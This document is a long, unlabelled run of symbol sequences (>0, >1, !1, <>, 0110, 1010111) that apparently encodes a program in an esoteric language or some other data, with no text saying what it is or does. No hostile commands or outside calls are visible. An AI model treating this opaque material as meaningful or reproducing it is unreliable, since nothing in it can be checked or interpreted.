>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>01010111>01!10110>1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!1!1!10110>10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!10110>10110>1!1>0>1!1>0>10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!10110>1!1!<>1>0>1!1>0>1!1>0>1!1!1>01010111>01!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!10110>1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>10110>10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>01010111>01>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>10110>10110>10110>1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0><>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!10110>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!10110>10110>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>10110><>1!10110>1!1>0>10110>1!1>0>1>0>10110>1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!<>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>10110>1!1!1!1>0>10110>1!1>01010111>01!1>0>1!1>01010111>01>0>1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1>0>10110>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>01010111>01!1!10110>1!10110>1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>10110>10110>1!10110>1!1>0><>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!10110>1!10110>1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>01010111>01!1>0>1!1!10110>1!1!1>0>1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>10110>1!1>0>1!1>0>1>0>10110>1!10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1!1!10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!<>1>0>1!1>0><>1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1!1!<>1!1!1!1!1>0>1>0>10110>1!1>0>10110>1!1>0>1!1!1!10110>1!10110>10110>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>01010111>01>0>10110>1!1>0>1!10110>10110>1!1>0>1>0>1!1!1>0><>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>01010111>01!1>0>1!1>0>10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!<>1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!<>1>0>1!10110>1!1>0>1>0>10110>1!1>0>1!10110>10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>101101010111>01!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>10110>1!10110>1!1!1!1!1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0><>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!<>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>10110>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1>0><>10110>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!10110>1!1>0>10110>1!1!1!1!1>0>10110>1!1>0>1>0>1!1!10110>10110>1!1>0>1!1!1>0>1!1>0>10110>101101010111>01!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1!10110>1!1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!10110>1!10110>1!1>0>10110>10110>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>10110>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110><>10110>1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!101101010111>01>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!10110>10110>1!1!1!10110>1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!<>1!1!<>1!<1010111>01!1>0>1!<>1!1>01010111>01!<1010111>01!1!1!1!1>0>1>0>1!1!1!1!<>101101010111>01!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01!<>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!<1010111>01!1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1>0>1!<>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>01010111>01!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0><><>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1>0>1!<>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1>0>1!<>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!10110>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!<>1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!101101010111>01>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0><>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>01010111>01>0><>1>0><>1>0><>1>0><>1>0><>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0><>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1!1>0>10110>1!<>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0><>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!10110>10110><>1>0>1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1>0>1!1>0>1!<>1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>01010111>01>0>1!1!1!1!<>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1>01010111>01!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>10110>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!<>1!1!1!1!1>0>1!<><>1!1!<><>1>0>1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0><1010111>01!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!10110><1010111>01!1!1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1!1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1!1>0>10110>1!101101010111>01!1>0>1!1!1>0>1!1>0>1>0>10110>10110>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1>0>1>0>1!10110>10110>1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!10110>1!1!10110>1!1>0>1!1>0>1!1>0>1!1!10110>10110>1!1!1!1!1>01010111>01!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>10110>1!1!10110>1!1!1>0>1!10110>1!1!1>0>1>01010111>01>0>10110>1!1!1!10110>1!1!1>0>1!1>01010111>01!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1>0><>1!1>0>1!1>0>1!1>0><>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!10110>1!10110>1!1>01010111>01!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>01010111>01>0>1!1!<>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!101101010111>01>0>1!1!1>0>1!1>0>1>01010111>01!10110>1!1>0>1!1!1>0>1!10110>1!<>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!10110>10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!10110><>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>1!1!1>01010111>01>0>1!1!10110>101101010111>01!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1>01010111>01>0>1!1>0>1!1>0>10110>101101010111>01!1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1!1!10110>1!101101010111>010110>10110>1!1>0>1>0>1!10110>1!1>0>1!1!1>0>10110>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!10110>1!10110>1!1!1!10110>1!1>0>10110>1!1!1>0>10110>1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!10110>10110>1!10110>1!1!10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!<>1!1!1!1>0>1>0>10110>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>10110>1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0><>1>0><>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110><>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!<>1>0>10110>1!1>0>1>0>1!1!1!10110>1!1!1!10110><>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!101101010111>01!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0><>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>10110>1!1!1!1>0>1!10110>1!1!1>0>1!10110>10110>1!1>0>1!10110>1!1>01010111>01!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>10110>10110>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>01010111>010110>1!1!1!1>0>1>0>10110>10110>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1>0>10110>1!1!10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>10110>1!1>0>10110>10110>1!1>0>1!1!10110>1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0><>1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!10110>1!1>0>1!1!10110>1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1>0>1>0>10110>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1!1!10110>10110>1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>10110>10110>10110>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1!1!1!10110>1!1!1>01010111>10111>10111>01!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>10110>1!1>0>1>0>1!1!1!1!1>01010111>